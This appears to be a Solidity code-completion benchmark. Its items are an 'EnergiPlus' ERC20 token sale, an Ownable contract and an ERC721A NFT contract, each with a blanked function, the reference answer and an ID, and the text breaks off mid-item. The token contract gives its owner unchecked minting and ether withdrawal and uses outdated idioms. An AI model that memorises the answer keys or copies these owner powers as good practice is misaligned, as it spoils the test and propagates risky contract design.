contract EnergiPlus is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "Energi Plus"; string public constant symbol = "EPC"; uint public constant decimals = 8; uint public deadline = now + 150 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 100 * 1 days; uint256 public totalSupply = 100000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 35000e8; uint public target0drop = 5000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x4e0134dB37A5c67E1572BE270C1E34C5f67cdBc0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 15000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 5 ether / 10; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 15 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 5e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public {<FILL_FUNCTION_BODY> } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
contract EnergiPlus is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "Energi Plus"; string public constant symbol = "EPC"; uint public constant decimals = 8; uint public deadline = now + 150 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 100 * 1 days; uint256 public totalSupply = 100000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 35000e8; uint public target0drop = 5000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x4e0134dB37A5c67E1572BE270C1E34C5f67cdBc0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 15000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 5 ether / 10; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 15 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 5e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } <FILL_FUNCTION> function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value);
function burn(uint256 _value) onlyOwner public
function burn(uint256 _value) onlyOwner public
72001
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } }
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } }
require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner
15037
ERC721A
_safeMint
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 public immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal {<FILL_FUNCTION_BODY> } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 public immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } <FILL_FUNCTION> /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { 